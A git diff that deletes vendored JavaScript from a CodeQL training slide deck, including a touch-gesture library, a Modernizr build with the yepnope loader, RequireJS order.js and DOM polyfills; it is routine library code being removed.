-
-
-    /**
-     * calculate the angle between two points
-     * @param object pos1 { x: int, y: int }
-     * @param object pos2 { x: int, y: int }
-     */
-    function getAngle( pos1, pos2 )
-    {
-        return Math.atan2(pos2.y - pos1.y, pos2.x - pos1.x) * 180 / Math.PI;
-    }
-
-    /**
-     * trigger an event/callback by name with params
-     * @param string name
-     * @param array  params
-     */
-    function triggerEvent( eventName, params )
-    {
-        // return touches object
-        params.touches = getXYfromEvent(params.originalEvent);
-        params.type = eventName;
-
-        // trigger callback
-        if(isFunction(self["on"+ eventName])) {
-            self["on"+ eventName].call(self, params);
-        }
-    }
-
-
-    /**
-     * cancel event
-     * @param   object  event
-     * @return  void
-     */
-
-    function cancelEvent(event){
-        event = event || window.event;
-        if(event.preventDefault){
-            event.preventDefault();
-        }else{
-            event.returnValue = false;
-            event.cancelBubble = true;
-        }
-    }
-
-
-    /**
-     * reset the internal vars to the start values
-     */
-    function reset()
-    {
-        _pos = {};
-        _first = false;
-        _fingers = 0;
-        _distance = 0;
-        _angle = 0;
-        _gesture = null;
-    }
-
-
-    var gestures = {
-        // hold gesture
-        // fired on touchstart
-        hold : function(event)
-        {
-            // only when one finger is on the screen
-            if(options.hold) {
-                _gesture = 'hold';
-                clearTimeout(_hold_timer);
-
-                _hold_timer = setTimeout(function() {
-                    if(_gesture == 'hold') {
-                        triggerEvent("hold", {
-                            originalEvent   : event,
-                            position        : _pos.start
-                        });
-                    }
-                }, options.hold_timeout);
-            }
-        },
-
-
-        // drag gesture
-        // fired on mousemove
-        drag : function(event)
-        {
-            // get the distance we moved
-            var _distance_x = _pos.move[0].x - _pos.start[0].x;
-            var _distance_y = _pos.move[0].y - _pos.start[0].y;
-            _distance = Math.sqrt(_distance_x * _distance_x + _distance_y * _distance_y);
-
-            // drag
-            // minimal movement required
-            if(options.drag && (_distance > options.drag_min_distance) || _gesture == 'drag') {
-                // calculate the angle
-                _angle = getAngle(_pos.start[0], _pos.move[0]);
-                _direction = self.getDirectionFromAngle(_angle);
-
-                // check the movement and stop if we go in the wrong direction
-                var is_vertical = (_direction == 'up' || _direction == 'down');
-                if(((is_vertical && !options.drag_vertical) || (!is_vertical && !options.drag_horizontal))
-                    && (_distance > options.drag_min_distance)) {
-                    return;
-                }
-
-                _gesture = 'drag';
-
-                var position = { x: _pos.move[0].x - _offset.left,
-                    y: _pos.move[0].y - _offset.top };
-
-                var event_obj = {
-                    originalEvent   : event,
-                    position        : position,
-                    direction       : _direction,
-                    distance        : _distance,
-                    distanceX       : _distance_x,
-                    distanceY       : _distance_y,
-                    angle           : _angle
-                };
-
-                // on the first time trigger the start event
-                if(_first) {
-                    triggerEvent("dragstart", event_obj);
-
-                    _first = false;
-                }
-
-                // normal slide event
-                triggerEvent("drag", event_obj);
-
-                cancelEvent(event);
-            }
-        },
-
-
-        // transform gesture
-        // fired on touchmove
-        transform : function(event)
-        {
-            if(options.transform) {
-                var scale = event.scale || 1;
-                var rotation = event.rotation || 0;
-
-                if(countFingers(event) != 2) {
-                    return false;
-                }
-
-                if(_gesture != 'drag' &&
-                    (_gesture == 'transform' || Math.abs(1-scale) > options.scale_treshold
-                        || Math.abs(rotation) > options.rotation_treshold)) {
-                    _gesture = 'transform';
-
-                    _pos.center = {  x: ((_pos.move[0].x + _pos.move[1].x) / 2) - _offset.left,
-                        y: ((_pos.move[0].y + _pos.move[1].y) / 2) - _offset.top };
-
-                    var event_obj = {
-                        originalEvent   : event,
-                        position        : _pos.center,
-                        scale           : scale,
-                        rotation        : rotation
-                    };
-
-                    // on the first time trigger the start event
-                    if(_first) {
-                        triggerEvent("transformstart", event_obj);
-                        _first = false;
-                    }
-
-                    triggerEvent("transform", event_obj);
-
-                    cancelEvent(event);
-
-                    return true;
-                }
-            }
-
-            return false;
-        },
-
-
-        // tap and double tap gesture
-        // fired on touchend
-        tap : function(event)
-        {
-            // compare the kind of gesture by time
-            var now = new Date().getTime();
-            var touch_time = now - _touch_start_time;
-
-            // dont fire when hold is fired
-            if(options.hold && !(options.hold && options.hold_timeout > touch_time)) {
-                return;
-            }
-
-            // when previous event was tap and the tap was max_interval ms ago
-            var is_double_tap = (function(){
-                if (_prev_tap_pos && options.tap_double && _prev_gesture == 'tap' && (_touch_start_time - _prev_tap_end_time) < options.tap_max_interval) {
-                    var x_distance = Math.abs(_prev_tap_pos[0].x - _pos.start[0].x);
-                    var y_distance = Math.abs(_prev_tap_pos[0].y - _pos.start[0].y);
-                    return (_prev_tap_pos && _pos.start && Math.max(x_distance, y_distance) < options.tap_double_distance);
-
-                }
-                return false;
-            })();
-
-            if(is_double_tap) {
-                _gesture = 'double_tap';
-                _prev_tap_end_time = null;
-
-                triggerEvent("doubletap", {
-                    originalEvent   : event,
-                    position        : _pos.start
-                });
-                cancelEvent(event);
-            }
-
-            // single tap is single touch
-            else {
-                _gesture = 'tap';
-                _prev_tap_end_time = now;
-                _prev_tap_pos = _pos.start;
-
-                if(options.tap) {
-                    triggerEvent("tap", {
-                        originalEvent   : event,
-                        position        : _pos.start
-                    });
-                    cancelEvent(event);
-                }
-            }
-
-        }
-
-    };
-
-
-    function handleEvents(event)
-    {
-        switch(event.type)
-        {
-            case 'mousedown':
-            case 'touchstart':
-                _pos.start = getXYfromEvent(event);
-                _touch_start_time = new Date().getTime();
-                _fingers = countFingers(event);
-                _first = true;
-                _event_start = event;
-
-                // borrowed from jquery offset https://github.com/jquery/jquery/blob/master/src/offset.js
-                var box = element.getBoundingClientRect();
-                var clientTop  = element.clientTop  || document.body.clientTop  || 0;
-                var clientLeft = element.clientLeft || document.body.clientLeft || 0;
-                var scrollTop  = window.pageYOffset || element.scrollTop  || document.body.scrollTop;
-                var scrollLeft = window.pageXOffset || element.scrollLeft || document.body.scrollLeft;
-
-                _offset = {
-                    top: box.top + scrollTop - clientTop,
-                    left: box.left + scrollLeft - clientLeft
-                };
-
-                _mousedown = true;
-
-                // hold gesture
-                gestures.hold(event);
-
-                if(options.prevent_default) {
-                    cancelEvent(event);
-                }
-                break;
-
-            case 'mousemove':
-            case 'touchmove':
-                if(!_mousedown) {
-                    return false;
-                }
-                _event_move = event;
-                _pos.move = getXYfromEvent(event);
-
-                if(!gestures.transform(event)) {
-                    gestures.drag(event);
-                }
-                break;
-
-            case 'mouseup':
-            case 'mouseout':
-            case 'touchcancel':
-            case 'touchend':
-                if(!_mousedown || (_gesture != 'transform' && event.touches && event.touches.length > 0)) {
-                    return false;
-                }
-
-                _mousedown = false;
-                _event_end = event;
-
-                // drag gesture
-                // dragstart is triggered, so dragend is possible
-                if(_gesture == 'drag') {
-                    triggerEvent("dragend", {
-                        originalEvent   : event,
-                        direction       : _direction,
-                        distance        : _distance,
-                        angle           : _angle
-                    });
-                }
-
-                // transform
-                // transformstart is triggered, so transformed is possible
-                else if(_gesture == 'transform') {
-                    triggerEvent("transformend", {
-                        originalEvent   : event,
-                        position        : _pos.center,
-                        scale           : event.scale,
-                        rotation        : event.rotation
-                    });
-                }
-                else {
-                    gestures.tap(_event_start);
-                }
-
-                _prev_gesture = _gesture;
-
-                // reset vars
-                reset();
-                break;
-        }
-    }
-
-
-    // bind events for touch devices
-    // except for windows phone 7.5, it doesnt support touch events..!
-    if('ontouchstart' in window) {
-        element.addEventListener("touchstart", handleEvents, false);
-        element.addEventListener("touchmove", handleEvents, false);
-        element.addEventListener("touchend", handleEvents, false);
-        element.addEventListener("touchcancel", handleEvents, false);
-    }
-    // for non-touch
-    else {
-
-        if(element.addEventListener){ // prevent old IE errors
-            element.addEventListener("mouseout", function(event) {
-                if(!isInsideHammer(element, event.relatedTarget)) {
-                    handleEvents(event);
-                }
-            }, false);
-            element.addEventListener("mouseup", handleEvents, false);
-            element.addEventListener("mousedown", handleEvents, false);
-            element.addEventListener("mousemove", handleEvents, false);
-
-            // events for older IE
-        }else if(document.attachEvent){
-            element.attachEvent("onmouseout", function(event) {
-                if(!isInsideHammer(element, event.relatedTarget)) {
-                    handleEvents(event);
-                }
-            }, false);
-            element.attachEvent("onmouseup", handleEvents);
-            element.attachEvent("onmousedown", handleEvents);
-            element.attachEvent("onmousemove", handleEvents);
-        }
-    }
-
-
-    /**
-     * find if element is (inside) given parent element
-     * @param   object  element
-     * @param   object  parent
-     * @return  bool    inside
-     */
-    function isInsideHammer(parent, child) {
-        // get related target for IE
-        if(!child && window.event && window.event.toElement){
-            child = window.event.toElement;
-        }
-
-        if(parent === child){
-            return true;
-        }
-
-        // loop over parentNodes of child until we find hammer element
-        if(child){
-            var node = child.parentNode;
-            while(node !== null){
-                if(node === parent){
-                    return true;
-                };
-                node = node.parentNode;
-            }
-        }
-        return false;
-    }
-
-
-    /**
-     * merge 2 objects into a new object
-     * @param   object  obj1
-     * @param   object  obj2
-     * @return  object  merged object
-     */
-    function mergeObject(obj1, obj2) {
-        var output = {};
-
-        if(!obj2) {
-            return obj1;
-        }
-
-        for (var prop in obj1) {
-            if (prop in obj2) {
-                output[prop] = obj2[prop];
-            } else {
-                output[prop] = obj1[prop];
-            }
-        }
-        return output;
-    }
-
-    function isFunction( obj ){
-        return Object.prototype.toString.call( obj ) == "[object Function]";
-    }
-}
\ No newline at end of file
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/modernizr.custom.45394.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/modernizr.custom.45394.js
deleted file mode 100644
index 26f38cdcc529..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/modernizr.custom.45394.js
+++ /dev/null
@@ -1,4 +0,0 @@
-/* Modernizr 2.5.3 (Custom Build) | MIT & BSD
- * Build: http://www.modernizr.com/download/#-fontface-backgroundsize-borderimage-borderradius-boxshadow-flexbox-flexbox_legacy-hsla-multiplebgs-opacity-rgba-textshadow-cssanimations-csscolumns-generatedcontent-cssgradients-cssreflections-csstransforms-csstransforms3d-csstransitions-applicationcache-canvas-canvastext-draganddrop-hashchange-history-audio-video-indexeddb-input-inputtypes-localstorage-postmessage-sessionstorage-websockets-websqldatabase-webworkers-geolocation-inlinesvg-smil-svg-svgclippaths-touch-webgl-mq-prefixed-teststyles-testprop-testallprops-hasevent-prefixes-domprefixes-load
- */
-;window.Modernizr=function(a,b,c){function C(a){i.cssText=a}function D(a,b){return C(m.join(a+";")+(b||""))}function E(a,b){return typeof a===b}function F(a,b){return!!~(""+a).indexOf(b)}function G(a,b){for(var d in a)if(i[a[d]]!==c)return b=="pfx"?a[d]:!0;return!1}function H(a,b,d){for(var e in a){var f=b[a[e]];if(f!==c)return d===!1?a[e]:E(f,"function")?f.bind(d||b):f}return!1}function I(a,b,c){var d=a.charAt(0).toUpperCase()+a.substr(1),e=(a+" "+o.join(d+" ")+d).split(" ");return E(b,"string")||E(b,"undefined")?G(e,b):(e=(a+" "+p.join(d+" ")+d).split(" "),H(e,b,c))}function K(){e.input=function(c){for(var d=0,e=c.length;d<e;d++)t[c[d]]=c[d]in j;return t.list&&(t.list=!!b.createElement("datalist")&&!!a.HTMLDataListElement),t}("autocomplete autofocus list placeholder max min multiple pattern required step".split(" ")),e.inputtypes=function(a){for(var d=0,e,g,h,i=a.length;d<i;d++)j.setAttribute("type",g=a[d]),e=j.type!=="text",e&&(j.value=k,j.style.cssText="position:absolute;visibility:hidden;",/^range$/.test(g)&&j.style.WebkitAppearance!==c?(f.appendChild(j),h=b.defaultView,e=h.getComputedStyle&&h.getComputedStyle(j,null).WebkitAppearance!=="textfield"&&j.offsetHeight!==0,f.removeChild(j)):/^(search|tel)$/.test(g)||(/^(url|email)$/.test(g)?e=j.checkValidity&&j.checkValidity()===!1:/^color$/.test(g)?(f.appendChild(j),f.offsetWidth,e=j.value!=k,f.removeChild(j)):e=j.value!=k)),s[a[d]]=!!e;return s}("search tel url email datetime date month week time datetime-local number range color".split(" "))}var d="2.5.3",e={},f=b.documentElement,g="modernizr",h=b.createElement(g),i=h.style,j=b.createElement("input"),k=":)",l={}.toString,m=" -webkit- -moz- -o- -ms- ".split(" "),n="Webkit Moz O ms",o=n.split(" "),p=n.toLowerCase().split(" "),q={svg:"http://www.w3.org/2000/svg"},r={},s={},t={},u=[],v=u.slice,w,x=function(a,c,d,e){var h,i,j,k=b.createElement("div"),l=b.body,m=l?l:b.createElement("body");if(parseInt(d,10))while(d--)j=b.createElement("div"),j.id=e?e[d]:g+(d+1),k.appendChild(j);return h=["&#173;","<style>",a,"</style>"].join(""),k.id=g,(l?k:m).innerHTML+=h,m.appendChild(k),l||(m.style.background="",f.appendChild(m)),i=c(k,a),l?k.parentNode.removeChild(k):m.parentNode.removeChild(m),!!i},y=function(b){var c=a.matchMedia||a.msMatchMedia;if(c)return c(b).matches;var d;return x("@media "+b+" { #"+g+" { position: absolute; } }",function(b){d=(a.getComputedStyle?getComputedStyle(b,null):b.currentStyle)["position"]=="absolute"}),d},z=function(){function d(d,e){e=e||b.createElement(a[d]||"div"),d="on"+d;var f=d in e;return f||(e.setAttribute||(e=b.createElement("div")),e.setAttribute&&e.removeAttribute&&(e.setAttribute(d,""),f=E(e[d],"function"),E(e[d],"undefined")||(e[d]=c),e.removeAttribute(d))),e=null,f}var a={select:"input",change:"input",submit:"form",reset:"form",error:"img",load:"img",abort:"img"};return d}(),A={}.hasOwnProperty,B;!E(A,"undefined")&&!E(A.call,"undefined")?B=function(a,b){return A.call(a,b)}:B=function(a,b){return b in a&&E(a.constructor.prototype[b],"undefined")},Function.prototype.bind||(Function.prototype.bind=function(b){var c=this;if(typeof c!="function")throw new TypeError;var d=v.call(arguments,1),e=function(){if(this instanceof e){var a=function(){};a.prototype=c.prototype;var f=new a,g=c.apply(f,d.concat(v.call(arguments)));return Object(g)===g?g:f}return c.apply(b,d.concat(v.call(arguments)))};return e});var J=function(c,d){var f=c.join(""),g=d.length;x(f,function(c,d){var f=b.styleSheets[b.styleSheets.length-1],h=f?f.cssRules&&f.cssRules[0]?f.cssRules[0].cssText:f.cssText||"":"",i=c.childNodes,j={};while(g--)j[i[g].id]=i[g];e.touch="ontouchstart"in a||a.DocumentTouch&&b instanceof DocumentTouch||(j.touch&&j.touch.offsetTop)===9,e.csstransforms3d=(j.csstransforms3d&&j.csstransforms3d.offsetLeft)===9&&j.csstransforms3d.offsetHeight===3,e.generatedcontent=(j.generatedcontent&&j.generatedcontent.offsetHeight)>=1,e.fontface=/src/i.test(h)&&h.indexOf(d.split(" ")[0])===0},g,d)}(['@font-face {font-family:"font";src:url("https://")}',["@media (",m.join("touch-enabled),("),g,")","{#touch{top:9px;position:absolute}}"].join(""),["@media (",m.join("transform-3d),("),g,")","{#csstransforms3d{left:9px;position:absolute;height:3px;}}"].join(""),['#generatedcontent:after{content:"',k,'";visibility:hidden}'].join("")],["fontface","touch","csstransforms3d","generatedcontent"]);r.flexbox=function(){return I("flexOrder")},r["flexbox-legacy"]=function(){return I("boxDirection")},r.canvas=function(){var a=b.createElement("canvas");return!!a.getContext&&!!a.getContext("2d")},r.canvastext=function(){return!!e.canvas&&!!E(b.createElement("canvas").getContext("2d").fillText,"function")},r.webgl=function(){try{var d=b.createElement("canvas"),e;e=!(!a.WebGLRenderingContext||!d.getContext("experimental-webgl")&&!d.getContext("webgl")),d=c}catch(f){e=!1}return e},r.touch=function(){return e.touch},r.geolocation=function(){return!!navigator.geolocation},r.postmessage=function(){return!!a.postMessage},r.websqldatabase=function(){return!!a.openDatabase},r.indexedDB=function(){return!!I("indexedDB",a)},r.hashchange=function(){return z("hashchange",a)&&(b.documentMode===c||b.documentMode>7)},r.history=function(){return!!a.history&&!!history.pushState},r.draganddrop=function(){var a=b.createElement("div");return"draggable"in a||"ondragstart"in a&&"ondrop"in a},r.websockets=function(){for(var b=-1,c=o.length;++b<c;)if(a[o[b]+"WebSocket"])return!0;return"WebSocket"in a},r.rgba=function(){return C("background-color:rgba(150,255,150,.5)"),F(i.backgroundColor,"rgba")},r.hsla=function(){return C("background-color:hsla(120,40%,100%,.5)"),F(i.backgroundColor,"rgba")||F(i.backgroundColor,"hsla")},r.multiplebgs=function(){return C("background:url(https://),url(https://),red url(https://)"),/(url\s*\(.*?){3}/.test(i.background)},r.backgroundsize=function(){return I("backgroundSize")},r.borderimage=function(){return I("borderImage")},r.borderradius=function(){return I("borderRadius")},r.boxshadow=function(){return I("boxShadow")},r.textshadow=function(){return b.createElement("div").style.textShadow===""},r.opacity=function(){return D("opacity:.55"),/^0.55$/.test(i.opacity)},r.cssanimations=function(){return I("animationName")},r.csscolumns=function(){return I("columnCount")},r.cssgradients=function(){var a="background-image:",b="gradient(linear,left top,right bottom,from(#9f9),to(white));",c="linear-gradient(left top,#9f9, white);";return C((a+"-webkit- ".split(" ").join(b+a)+m.join(c+a)).slice(0,-a.length)),F(i.backgroundImage,"gradient")},r.cssreflections=function(){return I("boxReflect")},r.csstransforms=function(){return!!I("transform")},r.csstransforms3d=function(){var a=!!I("perspective");return a&&"webkitPerspective"in f.style&&(a=e.csstransforms3d),a},r.csstransitions=function(){return I("transition")},r.fontface=function(){return e.fontface},r.generatedcontent=function(){return e.generatedcontent},r.video=function(){var a=b.createElement("video"),c=!1;try{if(c=!!a.canPlayType)c=new Boolean(c),c.ogg=a.canPlayType('video/ogg; codecs="theora"').replace(/^no$/,""),c.h264=a.canPlayType('video/mp4; codecs="avc1.42E01E"').replace(/^no$/,""),c.webm=a.canPlayType('video/webm; codecs="vp8, vorbis"').replace(/^no$/,"")}catch(d){}return c},r.audio=function(){var a=b.createElement("audio"),c=!1;try{if(c=!!a.canPlayType)c=new Boolean(c),c.ogg=a.canPlayType('audio/ogg; codecs="vorbis"').replace(/^no$/,""),c.mp3=a.canPlayType("audio/mpeg;").replace(/^no$/,""),c.wav=a.canPlayType('audio/wav; codecs="1"').replace(/^no$/,""),c.m4a=(a.canPlayType("audio/x-m4a;")||a.canPlayType("audio/aac;")).replace(/^no$/,"")}catch(d){}return c},r.localstorage=function(){try{return localStorage.setItem(g,g),localStorage.removeItem(g),!0}catch(a){return!1}},r.sessionstorage=function(){try{return sessionStorage.setItem(g,g),sessionStorage.removeItem(g),!0}catch(a){return!1}},r.webworkers=function(){return!!a.Worker},r.applicationcache=function(){return!!a.applicationCache},r.svg=function(){return!!b.createElementNS&&!!b.createElementNS(q.svg,"svg").createSVGRect},r.inlinesvg=function(){var a=b.createElement("div");return a.innerHTML="<svg/>",(a.firstChild&&a.firstChild.namespaceURI)==q.svg},r.smil=function(){return!!b.createElementNS&&/SVGAnimate/.test(l.call(b.createElementNS(q.svg,"animate")))},r.svgclippaths=function(){return!!b.createElementNS&&/SVGClipPath/.test(l.call(b.createElementNS(q.svg,"clipPath")))};for(var L in r)B(r,L)&&(w=L.toLowerCase(),e[w]=r[L](),u.push((e[w]?"":"no-")+w));return e.input||K(),C(""),h=j=null,e._version=d,e._prefixes=m,e._domPrefixes=p,e._cssomPrefixes=o,e.mq=y,e.hasEvent=z,e.testProp=function(a){return G([a])},e.testAllProps=I,e.testStyles=x,e.prefixed=function(a,b,c){return b?I(a,b,c):I(a,"pfx")},e}(this,this.document),function(a,b,c){function d(a){return o.call(a)=="[object Function]"}function e(a){return typeof a=="string"}function f(){}function g(a){return!a||a=="loaded"||a=="complete"||a=="uninitialized"}function h(){var a=p.shift();q=1,a?a.t?m(function(){(a.t=="c"?B.injectCss:B.injectJs)(a.s,0,a.a,a.x,a.e,1)},0):(a(),h()):q=0}function i(a,c,d,e,f,i,j){function k(b){if(!o&&g(l.readyState)&&(u.r=o=1,!q&&h(),l.onload=l.onreadystatechange=null,b)){a!="img"&&m(function(){t.removeChild(l)},50);for(var d in y[c])y[c].hasOwnProperty(d)&&y[c][d].onload()}}var j=j||B.errorTimeout,l={},o=0,r=0,u={t:d,s:c,e:f,a:i,x:j};y[c]===1&&(r=1,y[c]=[],l=b.createElement(a)),a=="object"?l.data=c:(l.src=c,l.type=a),l.width=l.height="0",l.onerror=l.onload=l.onreadystatechange=function(){k.call(this,r)},p.splice(e,0,u),a!="img"&&(r||y[c]===2?(t.insertBefore(l,s?null:n),m(k,j)):y[c].push(l))}function j(a,b,c,d,f){return q=0,b=b||"j",e(a)?i(b=="c"?v:u,a,b,this.i++,c,d,f):(p.splice(this.i++,0,a),p.length==1&&h()),this}function k(){var a=B;return a.loader={load:j,i:0},a}var l=b.documentElement,m=a.setTimeout,n=b.getElementsByTagName("script")[0],o={}.toString,p=[],q=0,r="MozAppearance"in l.style,s=r&&!!b.createRange().compareNode,t=s?l:n.parentNode,l=a.opera&&o.call(a.opera)=="[object Opera]",l=!!b.attachEvent&&!l,u=r?"object":l?"script":"img",v=l?"script":u,w=Array.isArray||function(a){return o.call(a)=="[object Array]"},x=[],y={},z={timeout:function(a,b){return b.length&&(a.timeout=b[0]),a}},A,B;B=function(a){function b(a){var a=a.split("!"),b=x.length,c=a.pop(),d=a.length,c={url:c,origUrl:c,prefixes:a},e,f,g;for(f=0;f<d;f++)g=a[f].split("="),(e=z[g.shift()])&&(c=e(c,g));for(f=0;f<b;f++)c=x[f](c);return c}function g(a,e,f,g,i){var j=b(a),l=j.autoCallback;j.url.split(".").pop().split("?").shift(),j.bypass||(e&&(e=d(e)?e:e[a]||e[g]||e[a.split("/").pop().split("?")[0]]||h),j.instead?j.instead(a,e,f,g,i):(y[j.url]?j.noexec=!0:y[j.url]=1,f.load(j.url,j.forceCSS||!j.forceJS&&"css"==j.url.split(".").pop().split("?").shift()?"c":c,j.noexec,j.attrs,j.timeout),(d(e)||d(l))&&f.load(function(){k(),e&&e(j.origUrl,i,g),l&&l(j.origUrl,i,g),y[j.url]=2})))}function i(a,b){function c(a,c){if(a){if(e(a))c||(j=function(){var a=[].slice.call(arguments);k.apply(this,a),l()}),g(a,j,b,0,h);else if(Object(a)===a)for(n in m=function(){var b=0,c;for(c in a)a.hasOwnProperty(c)&&b++;return b}(),a)a.hasOwnProperty(n)&&(!c&&!--m&&(d(j)?j=function(){var a=[].slice.call(arguments);k.apply(this,a),l()}:j[n]=function(a){return function(){var b=[].slice.call(arguments);a&&a.apply(this,b),l()}}(k[n])),g(a[n],j,b,n,h))}else!c&&l()}var h=!!a.test,i=a.load||a.both,j=a.callback||f,k=j,l=a.complete||f,m,n;c(h?a.yep:a.nope,!!i),i&&c(i)}var j,l,m=this.yepnope.loader;if(e(a))g(a,0,m,0);else if(w(a))for(j=0;j<a.length;j++)l=a[j],e(l)?g(l,0,m,0):w(l)?B(l):Object(l)===l&&i(l,m);else Object(a)===a&&i(a,m)},B.addPrefix=function(a,b){z[a]=b},B.addFilter=function(a){x.push(a)},B.errorTimeout=1e4,b.readyState==null&&b.addEventListener&&(b.readyState="loading",b.addEventListener("DOMContentLoaded",A=function(){b.removeEventListener("DOMContentLoaded",A,0),b.readyState="complete"},0)),a.yepnope=k(),a.yepnope.executeStack=h,a.yepnope.injectJs=function(a,c,d,e,i,j){var k=b.createElement("script"),l,o,e=e||B.errorTimeout;k.src=a;for(o in d)k.setAttribute(o,d[o]);c=j?h:c||f,k.onreadystatechange=k.onload=function(){!l&&g(k.readyState)&&(l=1,c(),k.onload=k.onreadystatechange=null)},m(function(){l||(l=1,c(1))},e),i?k.onload():n.parentNode.insertBefore(k,n)},a.yepnope.injectCss=function(a,c,d,e,g,i){var e=b.createElement("link"),j,c=i?h:c||f;e.href=a,e.rel="stylesheet",e.type="text/css";for(j in d)e.setAttribute(j,d[j]);g||(n.parentNode.insertBefore(e,n),m(c,0))}}(this,document),Modernizr.load=function(){yepnope.apply(window,[].slice.call(arguments,0))};
\ No newline at end of file
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/order.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/order.js
deleted file mode 100644
index e78c183697d4..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/order.js
+++ /dev/null
@@ -1,8 +0,0 @@
-/*
- RequireJS order 1.0.5 Copyright (c) 2010-2011, The Dojo Foundation All Rights Reserved.
- Available via the MIT or new BSD license.
- see: http://github.com/jrburke/requirejs for details
-*/
-(function(){function k(a){var b=a.currentTarget||a.srcElement,c;if(a.type==="load"||l.test(b.readyState)){a=b.getAttribute("data-requiremodule");j[a]=!0;for(a=0;c=g[a];a++)if(j[c.name])c.req([c.name],c.onLoad);else break;a>0&&g.splice(0,a);setTimeout(function(){b.parentNode.removeChild(b)},15)}}function m(a){var b,c;a.setAttribute("data-orderloaded","loaded");for(a=0;c=h[a];a++)if((b=i[c])&&b.getAttribute("data-orderloaded")==="loaded")delete i[c],require.addScriptToDom(b);else break;a>0&&h.splice(0,
-a)}var f=typeof document!=="undefined"&&typeof window!=="undefined"&&document.createElement("script"),n=f&&(f.async||window.opera&&Object.prototype.toString.call(window.opera)==="[object Opera]"||"MozAppearance"in document.documentElement.style),o=f&&f.readyState==="uninitialized",l=/^(complete|loaded)$/,g=[],j={},i={},h=[],f=null;define({version:"1.0.5",load:function(a,b,c,e){var d;b.nameToUrl?(d=b.nameToUrl(a,null),require.s.skipAsync[d]=!0,n||e.isBuild?b([a],c):o?(e=require.s.contexts._,!e.urlFetched[d]&&
-!e.loaded[a]&&(e.urlFetched[d]=!0,require.resourcesReady(!1),e.scriptCount+=1,d=require.attach(d,e,a,null,null,m),i[a]=d,h.push(a)),b([a],c)):b.specified(a)?b([a],c):(g.push({name:a,req:b,onLoad:c}),require.attach(d,null,a,k,"script/cache"))):b([a],c)}})})();
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/polyfills/classList.min.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/polyfills/classList.min.js
deleted file mode 100644
index 932c77762129..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/polyfills/classList.min.js
+++ /dev/null
@@ -1,2 +0,0 @@
-/* @source http://purl.eligrey.com/github/classList.js/blob/master/classList.js*/
-"use strict";if(typeof document!=="undefined"&&!("classList" in document.createElement("a"))){(function(a){var f="classList",d="prototype",e=(a.HTMLElement||a.Element)[d],g=Object;strTrim=String[d].trim||function(){return this.replace(/^\s+|\s+$/g,"")},arrIndexOf=Array[d].indexOf||function(k){for(var j=0,h=this.length;j<h;j++){if(j in this&&this[j]===k){return j}}return -1},DOMEx=function(h,i){this.name=h;this.code=DOMException[h];this.message=i},checkTokenAndGetIndex=function(i,h){if(h===""){throw new DOMEx("SYNTAX_ERR","An invalid or illegal string was specified")}if(/\s/.test(h)){throw new DOMEx("INVALID_CHARACTER_ERR","String contains an invalid character")}return arrIndexOf.call(i,h)},ClassList=function(m){var l=strTrim.call(m.className),k=l?l.split(/\s+/):[];for(var j=0,h=k.length;j<h;j++){this.push(k[j])}this._updateClassName=function(){m.className=this.toString()}},classListProto=ClassList[d]=[],classListGetter=function(){return new ClassList(this)};DOMEx[d]=Error[d];classListProto.item=function(h){return this[h]||null};classListProto.contains=function(h){h+="";return checkTokenAndGetIndex(this,h)!==-1};classListProto.add=function(h){h+="";if(checkTokenAndGetIndex(this,h)===-1){this.push(h);this._updateClassName()}};classListProto.remove=function(i){i+="";var h=checkTokenAndGetIndex(this,i);if(h!==-1){this.splice(h,1);this._updateClassName()}};classListProto.toggle=function(h){h+="";if(checkTokenAndGetIndex(this,h)===-1){this.add(h)}else{this.remove(h)}};classListProto.toString=function(){return this.join(" ")};if(g.defineProperty){var c={get:classListGetter,enumerable:true,configurable:true};try{g.defineProperty(e,f,c)}catch(b){if(b.number===-2146823252){c.enumerable=false;g.defineProperty(e,f,c)}}}else{if(g[d].__defineGetter__){e.__defineGetter__(f,classListGetter)}}}(self))};
\ No newline at end of file
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/polyfills/dataset.min.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/polyfills/dataset.min.js
deleted file mode 100644
index 3f2a56414a3c..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/polyfills/dataset.min.js
+++ /dev/null
@@ -1,2 +0,0 @@
-(function(){function c(){d=!0;this.removeEventListener("DOMAttrModified",c,!1)}function g(b){return b.replace(h,function(b,a){return a.toUpperCase()})}function e(){var b={};i.call(this.attributes,function(a){if(f=a.name.match(j))b[g(f[1])]=a.value});return b}var i=[].forEach,j=/^data-(.+)/,h=/\-([a-z])/ig,a=document.createElement("div"),d=!1,f;a.dataset==void 0&&(a.addEventListener("DOMAttrModified",c,!1),a.setAttribute("foo","bar"),Element.prototype.__defineGetter__("dataset",d?function(){if(!this._datasetCache)this._datasetCache=
-e.call(this);return this._datasetCache}:e),document.addEventListener("DOMAttrModified",function(a){delete a.target._datasetCache},!1))})();
\ No newline at end of file
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/polyfills/history.min.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/polyfills/history.min.js
deleted file mode 100644
index 2aee07e23860..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/polyfills/history.min.js
+++ /dev/null
@@ -1 +0,0 @@
